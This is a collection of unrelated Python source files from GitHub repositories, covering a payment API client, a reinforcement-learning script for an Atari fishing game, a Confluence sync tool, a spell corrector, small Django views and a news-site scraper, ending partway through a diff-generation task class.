{"seq_id":"18280479701","text":"\"\"\"Api for working with piastrix.\"\"\"\nfrom hashlib import sha256\nfrom time import time\n\nfrom requests import post\n\n\nclass PiastrixApi:\n    \"\"\"Creates and sends all requests to work with the piastrix api.\"\"\"\n\n    def __init__(\n        self,\n        secret_key,\n        shop_id,\n        payway,\n        url='https://core.piastrix.com/',\n    ):\n        \"\"\"\n        Keep base settings for all requests.\n\n        Parameters:\n            secret_key: str\n            shop_id: str\n            payway: str\n            url: str\n        \"\"\"\n        self.secret_key = secret_key\n        self.shop_id = shop_id\n        self.payway = payway\n        self.url = url\n\n    def _post(self, endpoint, data):\n        response = post(f'{self.url}{endpoint}', json=data)\n        return response.json()\n\n    def _shop_order_id(self):\n        return 'ORDER_{0}'.format(int(time()))\n\n    def _sign(self, required_fields, data):\n        sorted_data = [data[key] for key in sorted(required_fields)]\n        signed_data = ':'.join(sorted_data) + self.secret_key\n        data['sign'] = sha256(signed_data.encode('utf-8')).hexdigest()\n\n    def create_bill(self, data):\n        \"\"\"\n        Create bill.\n\n        Parameters:\n            data: dict, dict with bill information\n\n        Returns:\n            return answer from api\n        \"\"\"\n        required_fields = [\n            'payer_currency', 'shop_amount', 'shop_currency',\n            'shop_id', 'shop_order_id',\n        ]\n        data.update({\n            'shop_id': self.shop_id,\n            'shop_order_id': self._shop_order_id(),\n            'shop_amount': data['amount'],\n            'shop_currency': data['currency'],\n            'payer_currency': data['currency'],\n        })\n        self._sign(required_fields, data)\n        answer = self._post('bill/create', data)\n        answer.update({'type': 'bill'})\n        return answer\n\n    def create_invoice(self, data):\n        \"\"\"\n        Create invoice.\n\n        Parameters:\n            data: dict, dict with invoice information\n\n        Returns:\n            return answer from api\n        \"\"\"\n        required_fields = [\n            'amount', 'currency', 'shop_id',\n            'payway', 'shop_order_id',\n        ]\n        data.update({\n            'shop_id': self.shop_id,\n            'shop_order_id': self._shop_order_id(),\n            'payway': self.payway,\n        })\n        self._sign(required_fields, data)\n        answer = self._post('invoice/create', data)\n        answer.update({'type': 'invoice'})\n        return answer\n\n    def create_pay_form(self, data):\n        \"\"\"\n        Create invoice form.\n\n        Parameters:\n            data: dict, dict with invoice information\n\n        Returns:\n            return complete data for the invoice form\n        \"\"\"\n        required_fields = ['amount', 'currency', 'shop_id', 'shop_order_id']\n        data.update({\n            'type': 'pay',\n            'shop_id': self.shop_id,\n            'shop_order_id': self._shop_order_id(),\n        })\n        self._sign(required_fields, data)\n        return data\n","repo_name":"IgorTeplov/test-api","sub_path":"lib/piastrix.py","file_name":"piastrix.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"1124670980","text":"import gym\nimport numpy as np\nimport pickle\nimport pandas as pd\n\nenv = gym.make('FishingDerby-ram-v4')\nenv.seed(42)\n\ntest = True\n\ndef bucket(v, mx, buckets=10):\n\tv = min(v, mx)\n\treturn round(float(v / mx) * float(buckets))\n\ndef phi(x):\n\n\tline_x = int(x[32])\n\tline_y = int(x[67])\n\tfish6_top_x = int(x[70])\n\n\tx_dist = fish6_top_x - line_x\n\n\txleft = abs(x_dist) if x_dist < 0 else 0\n\txright = x_dist if x_dist > 0 else 0\n\n\ty_dist = 245 - line_y\n\tytop = abs(y_dist) if y_dist < 0 else 0\n\tybot = y_dist if y_dist > 0 else 0\n\n\tcaught_fish_idx = 112\n\tv0 = 0 if x[caught_fish_idx] != 2 else 1\n\n\tres = np.clip([xleft, xright, ytop, ybot], 0, 20)\n\treturn (res[0], res[1], res[2], res[3], v0)\n\nobservation = env.reset()\n# state_size = phi(observation).shape[0]\nstate_size = len(phi(observation))\n\nactions = [2,3,4,5]#,3,4,5]\nn_actions = 4 #env.action_space.n\n\nprint(env.unwrapped.get_action_meanings())\nprint('State size:', state_size)\n\ne = 1.0\ne_decay_frames = 100000\ne_min = 0.05\n\nalpha = 0.1\ngamma = 0.99\n\ncounter = 0\n\npending_reward_idx = 114\nlast_reward_frames = 0\ncaught_fish_idx = 112\ndef get_reward(obs, obs_):\n\n\t# if obs_[caught_fish_idx] == 0 and obs[caught_fish_idx] == 6 and obs_[pending_reward_idx] == 0:\n\t# \treturn -0.5\n\n\tglobal last_reward_frames\n\tif last_reward_frames > 0:\n\t\tlast_reward_frames -= 1\n\t\treturn 0\n\n\tif obs_[caught_fish_idx] == 2 and obs_[67] <= 210:\n\t\tpending_reward = abs(obs_[caught_fish_idx] - 7)\n\t\tlast_reward_frames = pending_reward + 1\n\t\treturn pending_reward + 1\n\n\treturn 0\n\nQ = {}\nif test:\n\tu = pickle._Unpickler(open(\"Q.dump\", \"rb\"))\n\tu.encoding = 'latin1'\n\tQ = u.load()\n\ndef getQ(s, a):\n\tif (s,a) not in Q:\n\t\treturn 0.0\n\telse:\n\t\treturn Q[(s,a)]\n\ndef learnQ(state, action, reward, value):\n\tv = getQ(state, action)\n\tif v is None:\n\t\tQ[(state, action)] = reward\n\telse:\n\t\tQ[(state, action)] = v + alpha * (value - v)\n\ndef learn(state1, action1, reward, state2):\n\tmaxqnew = max([getQ(state2, a) for a in actions])\n\tlearnQ(state1, action1, reward, reward + gamma * maxqnew)\n\nepisode = 0\ndf = pd.DataFrame(columns=['episode', 'value'])\nwhile episode < 100:\n\tobservation = env.reset()\n\n\ttotal_catch_value = 0\n\ttotal_value = 0\n\tdone = False\n\twhile not done:\n\t\t# env.render()\n\n\t\tstate = phi(observation)\n\n\t\t# Take a random action fraction e (epsilon) of the time\n\t\taction = np.random.choice(range(n_actions), p=[0.26,0.23,0.23,0.28])\n\t\t# action = np.random.choice(range(n_actions))\n\n\t\t# Take the chosen action\n\t\tobservation_, reward, done, info = env.step(actions[action])\n\t\t# if reward > 0:\n\t\ttotal_catch_value += reward\n\n\t\treward = get_reward(observation, observation_)\n\n\t\t# if reward == 0:\n\t\t# \treward = -0.01\n\n\t\ttotal_value += reward\n\n\t\t# Store the tuple\n\t\tstate_ = phi(observation_)\n\t\t# if not test:\n\t\t# \tlearn(state, action, reward, state_)\n\n\t\tobservation = observation_\n\n\t\tcounter += 1\n\n\t\t# Anneal epsilon\n\t\tif e > e_min and not test:\n\t\t\te -= (1.0 - e_min) / e_decay_frames\n\t\t\te = max(e_min, e)\n\n\n\tdf.loc[episode,:] = (episode, total_catch_value)\n\tdf.to_csv('nonuniform_random_100.csv')\n\tprint('Finished episode', episode, total_catch_value, total_value, counter, e)\n\n\tepisode += 1\n\ndf.to_csv('nonuniform_random_100.csv')","repo_name":"ArthurDevNL/DQNFishingDerbyRAM","sub_path":"main_simpleq.py","file_name":"main_simpleq.py","file_ext":"py","file_size_in_byte":3146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"28981377615","text":"import contextlib\nfrom datetime import datetime\nfrom functools import partial\nimport os\nimport parser\n\n\n__author__ = 'jay'\n\n\ndef get_page_by_href(href, cursor, path=None, tracker=None, project_name=None):\n    if '#' in href:\n        href = href[:href.index('#')]\n    if '?' in href:\n        href = href[:href.index('?')]\n    href = os.path.join(os.path.dirname(path), href)\n    href = os.path.normpath(href)\n    cursor.execute(\"select * from resources \"\n                   \"join pages on resources.id=pages.resource_id \"\n                   \"where resources.res_type='page' && path=%s && project=%s\",\n                   (href, project_name))\n    target = cursor.fetchone()\n    page = {}\n    if target:\n        page.update(target)\n        if target['postfix']:\n            page['title'] = add_postfix_to_title(\n                page['title'], page['postfix'])\n    if tracker is not None:\n        tracker.add(path)\n    return page\n\n\ndef add_postfix_to_title(page_title, postfix):\n    if isinstance(page_title, unicode):\n        page_title = page_title.encode('utf-8')\n    if isinstance(postfix, unicode):\n        postfix = postfix.encode('utf-8')\n    return str(page_title) + ' - ' + str(postfix)\n\n\ndef remove_postfix(page_title, postfix):\n    if isinstance(postfix, unicode):\n        postfix = postfix.encode()\n    return page_title[:page_title.rindex(' - ' + str(postfix))]\n\n\ndef update_page(page_handle, attach_handle, page, source_path, wc, logger):\n    with open(source_path, 'r') as reader:\n        soup = parser.ConfluencePageInflater(reader, page_handle,\n                                             attach_handle)\n    page_title = soup.title\n    postfix_added = False\n    if page['oid'] and page['postfix'] and page['title'] == page_title:\n        page_title = add_postfix_to_title(page_title, page['postfix'])\n        postfix_added = True\n    is_home_page = soup.is_home_page\n    keep_trying = True\n    while keep_trying:\n        if not page['oid']:\n            message = \"trying create page with title %s\" % page_title\n        else:\n            message = \"trying to modify page [%s:%s] with title %s\" % (\n                page['oid'], page['version'], page_title)\n        logger.info(message)\n        try:\n            page_info = wc.register_page(\n                page_title, soup.cleaned_src, pid=page['oid'],\n                parent_id=page['parent_id'], mark_home=is_home_page,\n                version=page['version'])\n            page['oid'] = page_info[0]\n            page['version'] = page_info[1]\n            break\n        except wc.OperationError:\n            # maybe version not right, let's try again\n            try:\n                page_info = wc.get_page(pid=page['oid'], title=page_title)\n            except wc.OperationError:\n                page_info = None\n            if page_info:\n                if page['oid']:\n                    if page_info[1] != page['version']:\n                        logger.error(\n                            \"failed.\\n\"\n                            \"updated page version [%s] and try again\"\n                            % page_info[1])\n                        page['version'] = page_info[1]\n                    else:\n                        logger.error(\"fatal problem, will panic.\")\n                        raise\n                elif not postfix_added and page['postfix']:\n                    logger.warning(\n                        'page with title %s exists, will try create new page'\n                        ' with postfix %s' % (page_title,\n                                              str(page['postfix'])))\n                    page_title = add_postfix_to_title(page_title,\n                                                      page['postfix'])\n                    postfix_added = True\n                else:\n                    logger.error('page with title %s exists!!!' % page_title)\n                    raise\n            else:\n                if page['oid']:\n                    logger.warning(\"It seems that remote page has been\"\n                                   \" deleted, lets create a new one...\")\n                    page['oid'], page['version'] = None, None\n                else:\n                    logger.error(\"fatal problem, let's panic.\")\n                    raise\n    if postfix_added:\n        page['title'] = remove_postfix(page_title, page['postfix'])\n    else:\n        page['title'] = page_title\n        page['postfix'] = None\n    return page\n\n\nclass Filter(object):\n    \"\"\"filter tags and revert\n\n    A filter should work like follow:\n\n    clean up pages:\n    process content -> clean up unneeded tags and attributes -> format -> pass to result\n\n    add or modified pages:\n                                           not found\n    process content -> search attachment  ---------->  create full page      ->      update database\n                           |found                                                            |\n                           -> create blank page -> upload attachment -> format link -> modified full page\n\n    add attachment: see above\n\n    modified attachment:\n    search references -> update all reference -> update database\n\n    delete content:\n           page\n    delete ----> delete page -----> update database\n             | attachment                      |\n             -> search references -> delete all reference\n\n    move content: dismiss\n    \"\"\"\n\n    def __init__(self, project_id, db, logger,\n                 write_client=None, form=None, **kwargs):\n        \"\"\"\n\n        :param project_id:\n        :param db: a database connection. You should be aware that db should\n         produce a cursor type that return result as dict.\n        :param logger:\n        :param write_client:\n        :param form:\n        :return:\n        \"\"\"\n        if not write_client:\n            raise ValueError('write_client should not be None!')\n        self.project_name = project_id\n        self.wc = write_client\n        self.db = db\n        self.need_update = set()\n        self.form = form\n        self.logger = logger\n\n    def _put_page(self, cursor, working_dir, page, tracker=None):\n        \"\"\"put a page with client\n\n        :param cursor:\n        :param working_dir: path of source, where can actually read source.\n            if None, just create a blank page.\n        :param page: page info\n        :param tracker: a tracker record the page that unable to be update\n         complete this time.\n        :return:\n        \"\"\"\n        source_path = os.path.join(working_dir, page['path'])\n\n        need_update = True\n        if not page['oid']:\n            need_update = set()\n\n            def do_nothing(*args):\n                need_update.add(args[0])\n\n            page = update_page(\n                partial(get_page_by_href, path=page['path'], tracker=tracker,\n                        cursor=cursor, project_name=self.project_name),\n                do_nothing, page, source_path, self.wc, self.logger)\n            cursor.execute('insert into resources values(%s, %s, %s, %s)',\n                           (None, 'page', page['path'], self.project_name))\n            assert cursor.lastrowid > 0\n            cursor.execute(\"insert into pages values(%s, %s, %s, %s, %s,\"\n                           \" %s, %s)\",\n                           (page['oid'], page['parent_id'], cursor.lastrowid,\n                            page['title'], page['postfix'], page['version'],\n                            datetime.utcnow()))\n        if need_update:\n            oid = page['oid']\n            page = update_page(\n                partial(get_page_by_href, path=page['path'], tracker=tracker,\n                        cursor=cursor, project_name=self.project_name),\n                partial(self.get_attach_by_href, page_id=page['oid'],\n                        base_path=page['path'], cursor=cursor,\n                        working_dir=working_dir),\n                page, source_path, self.wc, self.logger)\n            cursor.execute(\"update pages set oid=%s, version=%s, title=%s \"\n                           \"where oid=%s\", (page['oid'], page['version'],\n                                            page['title'], oid))\n        return page['oid'], page['version']\n\n    def apply(self, base_dir, outline, changes):\n        \"\"\"push logs to remote\n\n        :param base_dir:\n        :param outline: outline of menu, should follow the format {\n            phisical_path: list_of_menu_inheritance,\n            ...\n        }\n        :param changes: should follow the format [{\n            'operation': operation,  # 'add', 'modified', 'delete' or 'move'\n            'content_type': content_type,  # 'page' or 'attachment'\n            'path': path,  # path to documentation\n            'second_path': second_path,  #  if operation is 'move', this field\n            means target_path, else this field is optional.\n        }, ...]\n        \"\"\"\n        for change_type in ('delete', 'add', 'modified'):\n            target_changes = tuple(\n                (c['content_type'], c['path'], c['second_path'])\n                for c in changes if c['operation'] == change_type)\n            if not target_changes:\n                continue\n            try:\n                handle = getattr(self, 'apply_' + change_type)\n            except AttributeError:\n                continue  # well, fall silently\n            try:\n                self.db.begin()\n                handle(base_dir, outline, target_changes)\n                self.db.commit()\n            except:\n                self.db.rollback()\n                raise\n\n    # noinspection PyUnusedLocal\n    def apply_delete(self, base_dir, outline, changes):\n        \"\"\"apply delete action on changes\n\n        :param base_dir:\n        :param outline:\n        :param changes: should follow the format\n         [(content_type, path, second_path), ...].\n        :return:\n        \"\"\"\n        self.logger.info('applying delete changes...')\n        attach_changes = tuple(c for c in changes if c[0] == 'attachment')\n        page_changes = tuple(c for c in changes if c[0] == 'page')\n        with contextlib.closing(self.db.cursor()) as c:\n            for change in attach_changes:\n                c.execute(\"select * from resources \"\n                          \"right join attachments\"\n                          \" on resources.id=attachments.resource_id \"\n                          \"where res_type=%s && path=%s && project=%s\",\n                          ('attachment', change[1], self.project_name))\n                attachments = c.fetchall()\n                if not attachments:\n                    continue  # maybe something we don't care\n                for attach in attachments:\n                    self.logger.info('deleting attachment: [%s] %s' % (\n                        attach['parent_id'], attach['resource_name']))\n                    self.wc.delete_attachment(attach['parent_id'],\n                                              attach['resource_name'])\n                c.execute(\"delete from attachments where resources_id=%s\",\n                          (attach['resource_id'],))\n                c.execute(\"delete from resources where id=%s\",\n                          (attach['resource_id'],))\n            for change in page_changes:\n                c.execute(\"select * from resources \"\n                          \"join pages on resources.id=pages.resource_id \"\n                          \"where res_type=%s && path=%s && project\",\n                          ('page', change[1], self.project_name))\n                res = c.fetchone()\n                if not res:\n                    continue\n                self.logger.info(\n                    'deleting page: [%s] %s' % (res['oid'], res['title']))\n                self.wc.delete_page(res['oid'])\n                c.execute(\"delete from pages where oid=%s\", (res['oid'],))\n                c.execute(\"delete from resources where id=%s\",\n                          (res['resource_id'],))\n        self.logger.info('success applying delete.')\n\n    def get_attach_by_href(self, href, title, cursor, base_path=None,\n                           page_id=None, working_dir=None):\n        \"\"\"return attachment referenced by href.\n\n         If not exits, will try to create one.\n        :param href:\n        :param title:\n        :param base_path:\n        :param page_id:\n        :param cursor:\n        :param working_dir:\n        :return:\n        \"\"\"\n        if not page_id:\n            return None\n        if '#' in href:\n            href = href[:href.index('#')]\n        if '?' in href:\n            href = href[:href.index('?')]\n        href = os.path.join(os.path.dirname(base_path), href)\n        href = os.path.normpath(href)\n\n        def get_attach():\n            cursor.execute(\"select * from resources \"\n                           \"join attachments \"\n                           \"on resources.id=attachments.resource_id \"\n                           \"where resources.res_type='attachment' \"\n                           \"&& path = %s && parent_id=%s && project=%s\",\n                           (href, page_id, self.project_name))\n            return cursor.fetchone()\n\n        attach = get_attach()\n        if attach:\n            return attach\n        source_path = os.path.join(working_dir, href)\n        file_name = href.replace('/', '_')\n        try:\n            with open(source_path, 'r') as img_reader:\n                aid = \\\n                    self.wc.register_attachment(img_reader,\n                                                page_id, file_name)[0]\n                self.logger.info(\n                    'added a new attachment to page %s: [%s] %s' % (\n                        page_id, aid, file_name))\n        except IOError:\n            return None\n        # noinspection PyBroadException\n        try:\n            cursor.execute(\"insert into resources values(%s, %s, %s, %s)\",\n                           (None, 'attachment', href, self.project_name))\n            assert cursor.lastrowid > 0\n            res_id = cursor.lastrowid\n        except:\n            # I guess it's because of Duplicate entry. I don't catch\n            #  IntegrityError here because no database type is assumed\n            cursor.execute(\"select id from resources \"\n                           \"where path=%s && project=%s\",\n                           (href, self.project_name))\n            res_id = cursor.fetchone()\n            if not res_id:\n                raise Exception('insert new resources %s fail' % href)\n            res_id = res_id['id']\n\n        cursor.execute(\"insert into attachments values(%s, %s, %s, %s, %s)\",\n                       (aid, page_id, res_id, file_name, datetime.now()))\n        attach = get_attach()\n        return attach\n\n    def apply_add(self, base_dir, outline, changes):\n        \"\"\"apply put action on changes\n\n        put action will create a new page if referenced one does not exist.\n        only support single parent mode currently.\n        :param base_dir:\n        :param outline:\n        :param changes:\n        :return:\n        \"\"\"\n        self.logger.info('applying add changes...')\n        page_changes = list(c[1] for c in changes if c[0] == 'page')\n        tracker = set()  # used to track page not updated completely\n\n        def loop_back(path, c, level, force_update=False):\n            c.execute(\"select * from resources \"\n                      \"join pages on pages.resource_id=resources.id \"\n                      \"where res_type=%s && path=%s && project=%s\",\n                      ('page', path, self.project_name))\n            cur_page = cursor.fetchone()\n            if not cur_page:\n                dependency = outline.get(path, None)\n                if dependency:\n                    parent_page = loop_back(dependency[-1], c, level + 1)\n                    cur_page = dict(\n                        oid=None,\n                        version=None,\n                        parent_id=parent_page['oid'],\n                        path=path,\n                        postfix=path,\n                    )\n                else:\n                    cur_page = dict(\n                        oid=None,\n                        version=None,\n                        parent_id=None,\n                        path=path,\n                        postfix=path,\n                    )\n                self.logger.info(\"Can't find registered page with path %s,\"\n                                 \" will create one.\" % path)\n                cur_page['oid'], cur_page['version'] = self._put_page(\n                    c, base_dir, cur_page, tracker)\n                page_changes.remove(path)\n            elif force_update:\n                cur_page['oid'], cur_page['version'] = self._put_page(\n                    c, base_dir, cur_page, tracker)\n                page_changes.remove(path)\n            return cur_page\n\n        with contextlib.closing(self.db.cursor()) as cursor:\n            clean_outline = set()\n            for outline_path in outline:\n                if '#' in outline_path:\n                    outline_path = outline_path[:outline_path.index('#')]\n                if '?' in outline_path:\n                    outline_path = outline_path[:outline_path.index('?')]\n                clean_outline.add(outline_path)\n            # after this loop, all new pages should be created.\n            while page_changes:\n                page_path = page_changes[-1]\n                # we only care about page listed in outline\n                if page_path in clean_outline:\n                    loop_back(page_path, cursor, 1)\n                if page_changes and page_path == page_changes[-1]:\n                    page_changes.pop()\n            page_changes, tracker = list(tracker), set()\n            # after this loop, all possible missing link should be filled.\n            while page_changes:\n                page_path = page_changes[-1]\n                loop_back(page_path, cursor, 1, force_update=True)\n        self.logger.info('success applying add.')\n\n    def apply_modified(self, base_dir, outline, changes):\n        self.logger.info('applying modified changes...')\n        page_changes = tuple(c[1] for c in changes if c[0] == 'page')\n        with contextlib.closing(self.db.cursor()) as cursor:\n            sql = \"select path from resources\" \\\n                  \" where project=%s && res_type=%s && path in (%s\"\n            if len(page_changes) == 1:\n                sql += ')'\n            else:\n                # question: does a sql statement has a length limit?\n                sql = ','.join((sql,) +\n                               ('%s',) * (len(page_changes) - 2) + ('%s)',))\n            args = (self.project_name, 'page') + page_changes\n            cursor.execute(sql, args)\n            in_path = set(c['path'] for c in cursor.fetchall())\n            add_path = set(page_changes) - in_path\n            if add_path:\n                # in case we start merging from middle\n                self.apply_add(base_dir, outline, add_path)\n            for page_path in page_changes:\n                cursor.execute(\"select * from resources \"\n                               \"join pages on pages.resource_id=resources.id \"\n                               \"where res_type=%s && path=%s && project=%s\",\n                               ('page', page_path, self.project_name))\n                cur_page = cursor.fetchone()\n                assert cur_page is not None\n                self._put_page(cursor, base_dir, cur_page, None)\n        self.logger.info('success applying modified.')\n","repo_name":"BusyJay/sokoban","sub_path":"docs/examples/filters/f_confluence/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":19365,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"}
{"seq_id":"11698141001","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport re\nimport os\nfrom itertools import chain\n\ndata_path = os.path.join(os.getcwd(), \"data\\en_words\\words.txt\")\n\nword_regexes = {\n    'en': r'[A-Za-z]+'\n}\n\nalphabets = {\n    'en': 'abcdefghijklmnopqrstuvwxyz',\n}\n\n\ndef load_data(file):\n    f = open(file, 'r')\n    words = {}\n    for (i, word) in enumerate(f):\n        word = word.strip('\\n')\n        pairs = word.split(\" \")\n        words[pairs[0]] = pairs[1]\n    f.close()\n    return words\n\n\nclass Correcter:\n    def __init__(self, threshold=0, lang='en'):\n        self.threshold = threshold\n        self.nlp_data = load_data(data_path)\n        self.lang = lang\n\n        if threshold > 0:\n            print(f'Original number of words: {len(self.nlp_data)}')\n            self.nlp_data = {k: v for k, v in self.nlp_data.items() \n                            if v > threshold}\n            print(f'After applying threshold: {len(self.nlp_data)}')\n\n    def existing(self, words):\n        \"\"\"{'the', 'teh'} => {'the'}\"\"\"\n        return set(word for word in words\n                   if word in self.nlp_data)\n\n    def autocorrect_word(self, word):\n        \"\"\"most likely correction for everything up to a double typo\"\"\"\n        w = Word(word, self.lang)\n        candidates = (self.existing([word]) or \n                      self.existing(list(w.typos())) or \n                      self.existing(list(w.double_typos())) or \n                      [word])\n        \n        return min(candidates, key=lambda k: self.nlp_data[k])\n\n    def autocorrect_sentence(self, sentence):\n        return re.sub(word_regexes[self.lang],\n                      lambda match: self.autocorrect_word(match.group(0)),\n                      sentence)\n                      \n    def __call__(self, sentence):\n        return(self.autocorrect_sentence(sentence))\n\n\nclass Word(object):\n    \"\"\"container for word-based methods\"\"\"\n\n    def __init__(self, word, lang='en'):\n        \"\"\"\n        Generate slices to assist with typo\n        definitions.\n        'the' => (('', 'the'), ('t', 'he'),\n                  ('th', 'e'), ('the', ''))\n        \"\"\"\n        slice_range = range(len(word) + 1)\n        self.slices = tuple((word[:i], word[i:])\n                            for i in slice_range)\n        self.word = word\n        self.alphabet = alphabets[lang]\n\n    def _deletes(self):\n        \"\"\"th\"\"\"\n        return (self.concat(a, b[1:])\n                for a, b in self.slices[:-1])\n\n    def _transposes(self):\n        \"\"\"teh\"\"\"\n        return (self.concat(a, reversed(b[:2]), b[2:])\n                for a, b in self.slices[:-2])\n\n    def _replaces(self):\n        \"\"\"tge\"\"\"\n        return (self.concat(a, c, b[1:])\n                for a, b in self.slices[:-1]\n                for c in self.alphabet)\n\n    def _inserts(self):\n        \"\"\"thwe\"\"\"\n        return (self.concat(a, c, b)\n                for a, b in self.slices\n                for c in self.alphabet)\n    \n    def concat(self, *args):\n        \"\"\"reversed('th'), 'e' => 'hte'\"\"\"\n        try:\n            return ''.join(args)\n        except TypeError:\n            return ''.join(chain.from_iterable(args))\n\n\n    def typos(self):\n        \"\"\"letter combinations one typo away from word\"\"\"\n        yield from self._deletes()\n        yield from self._transposes()\n        yield from self._replaces()\n        yield from self._inserts()\n\n    def double_typos(self):\n        \"\"\"letter combinations two typos away from word\"\"\"\n        return (e2 for e1 in self.typos()\n                for e2 in Word(e1).typos())\n\n\ncorrect = Correcter(lang='en')\ncorrect(\"th\")\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"tanliyon/chatbot","sub_path":"autocorrect.py","file_name":"autocorrect.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"8729610334","text":"# Script that creates CSV file from images in folder\nfrom os import listdir\n# Open CSV file where to store output data\ncsv_file= open(\"data.csv\", \"w\")\n# Specify directory where images used for training are stored\nimg_directory= \"/home/paok/Documents/FaceRecognition/trainImages\"\n#create a list with file names in image directory\n#Iterate through folder in img_directory\nsubjects= listdir(img_directory)\n#Iterate through file name list and add to csv file\nfor i in range(len(subjects)):\n    pictures = listdir(\"/home/paok/Documents/FaceRecognition/trainImages/\"+subjects[i])\n    for pic in pictures:\n        # Format text for CSV file: directory/target/file_name/#number\n        # sample: /home/paok/Documents/FaceRecognition/trainImages/target/IMG2.jpg;0\n        out_put = img_directory+\"/\"+subjects[i]+\"/\"+pic+\";\"+subjects[i]\n        # Write output to CSV file\n        csv_file.write(out_put)\n        csv_file.write(\"\\n\")\n","repo_name":"PAOK-2001/FaceRecognition","sub_path":"Trainer_auxfiles/csv_builder.py","file_name":"csv_builder.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"26657510827","text":"from django.shortcuts import render,redirect\nfrom django.http.response import HttpResponse\nfrom django.contrib.auth.decorators import login_required\n# Create your views here.\n\n@login_required(login_url='/logreg/') \ndef content_view(request):\n    return render(request,\"lsssons-gal.html\",{\"token\":1,\"username\":request.user.username})\n\n\n    \n@login_required(login_url='/logreg/')    \ndef content_etails_view(request):\n    return render(request,\"lsssons-gal.html\",{\"token\":1,\"username\":request.user.username})\ndef content_details_view(request,lesson_id):\n    lessonurl='lessons/'\n    if lesson_id==str(1):\n        lessonurl+=\"1t.html\"\n    elif lesson_id==str(2):\n        lessonurl+=\"2t.html\"\n    elif lesson_id==str(3):\n        lessonurl+=\"3t.html\"\n    elif lesson_id==str(4):\n        lessonurl+=\"4t.html\"\n    elif lesson_id==str(5):\n        lessonurl+=\"5t.html\"\n    elif lesson_id==str(6):\n        lessonurl+=\"6t.html\"\n    elif lesson_id==str(7):\n        lessonurl+=\"7t.html\"\n    elif lesson_id==str(8):\n        lessonurl+=\"8t.html\"\n    elif lesson_id==str(9):\n        lessonurl+=\"9t.html\"\n    elif lesson_id==str(10):\n        lessonurl+=\"10t.html\"\n    else:\n        return HttpResponse(\"<h1> lesson is not here : \"+str(lesson_id)+\"</h1>\")\n        lessonurl+=\"10.html\"\n    return render(request,lessonurl,{\"token\":1,\"username\":request.user.username})\n\ndef contentnew_view(request):\n    return render(request, \"newgal.html\")","repo_name":"drmonira/site","sub_path":"content/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"10534460520","text":"# -*- coding: utf-8 -*-\n\n#原本为获得as, cp, sin三个加密参数使用，后使用搜索功能不再需要\n\nfrom selenium import webdriver\nimport time\nimport json\nimport requests\nfrom urllib.parse import urlencode\n\n\ndef getUrls(page, keyWord):\n    url = 'https://www.toutiao.com/search_content/'\n    returnUrls = []\n    for num in range(page):\n        data = {'offset': str(num * 20), 'format': 'json', 'keyword': keyWord, 'autoload': 'true', 'count': '20',\n                'cur_tab': '1', 'from': 'search_tab'}\n        returnUrls.append(url + '?' + urlencode(data))\n    return returnUrls\n\n\n\n\n#下面为之前的函数，不用的\ndef getUrl():\n    dic = getKey()\n    hot_time = int(time.time())\n    url = \"https://www.toutiao.com/api/pc/feed/?category=news_tech&\" \\\n          \"utm_source=toutiao&widen=1&max_behot_time=\"+str(hot_time)+\"&max_behot_time_tmp=\"+str(hot_time)+\"&\" \\\n          \"tadrequire=true&as=\"+str(dic['as'])+\"&cp=\"+str(dic['cp'])+\"1&_signature=\"+str(dic['sin'])\n    with open('filee.txt', 'wb') as f:\n        f.write(bytes(url, encoding='utf-8'))\n    return url\n\ndef getKey():\n    web = webdriver.Chrome()\n    web.get('https://www.toutiao.com/ch/news_tech/')\n    ascp = web.execute_script('return ascp.getHoney()')\n    strSin = web.execute_script('return TAC.sign(0)')\n    web.quit()\n    strAs = ascp['as']\n    strCp = ascp['cp']\n    dic = {'as': strAs, 'cp': strCp, 'sin': strSin}\n    return dic\n","repo_name":"aLowMagic/scrapySpider01","sub_path":"scrapySpider01/spiders/getSomething.py","file_name":"getSomething.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"26900649097","text":"from transformation.tasks.diff_tasks.base_diff_task import BaseDiffTask\nfrom transformation.assignment.assignment import Assignment\nfrom transformation.assignment.assignment_set import AssignmentSet\nfrom metamodel.document import Document\nfrom metamodel.field import Field\nfrom utilities.utilities import class_object_to_underscore_format\nfrom jinja2 import Template\nimport os\nfrom diff.operation_type import OperationType\nfrom tracing.manual_tracing import IManualTracing\nfrom transformation.conflict_resolution.question import Question\nfrom transformation.conflict_resolution.answer import Answer\nfrom messages.question_text import *\nfrom messages.question_titles import *\nfrom messages.answer_text import *\nfrom utilities.exceptions import GenerationValidationException\n\n\nclass DiffDemoManualTracingTask(BaseDiffTask, IManualTracing):\n\n    def __init__(self, generator, priority=2, template_name_=None):\n        if template_name_ is not None and template_name_ != \"\":\n            self._template_name = template_name_\n        else:\n            self._template_name = \"first_template.tpl\"\n\n        self._additional_templates_path = \"diff_demo_task/\"\n        self._additional_templates = {}\n        self._template_folder_path = \"../../generator_templates/\"\n        self.insert_additional_templates()\n\n        super().__init__(priority=priority, template_name=template_name_, generator=generator)\n\n    @property\n    def template_name(self):\n        return self._template_name\n\n    def filtered_elements(self, model):\n        \"\"\"Return iterator over elements in model that are passed to the above template.\"\"\"\n        documents = (document for document in model.elements.values() if type(document) == Document)\n        for document in documents:\n            yield document\n\n    def insert_additional_templates(self):\n        self._additional_templates[\"field\"] = \"field_template.tpl\"\n        self._additional_templates[\"fields\"] = \"fields_template.tpl\"\n        self._additional_templates[\"document\"] = \"document_template.tpl\"\n\n    def should_generate(self, model, element):\n        for filtered_element in self.filtered_elements(model):\n            if element.id == filtered_element.id:\n                return True\n\n        return False\n\n    def relative_path_for_element(self, diff):\n        \"\"\"Return relative file path receiving the generator output for given element.\"\"\"\n        try:\n            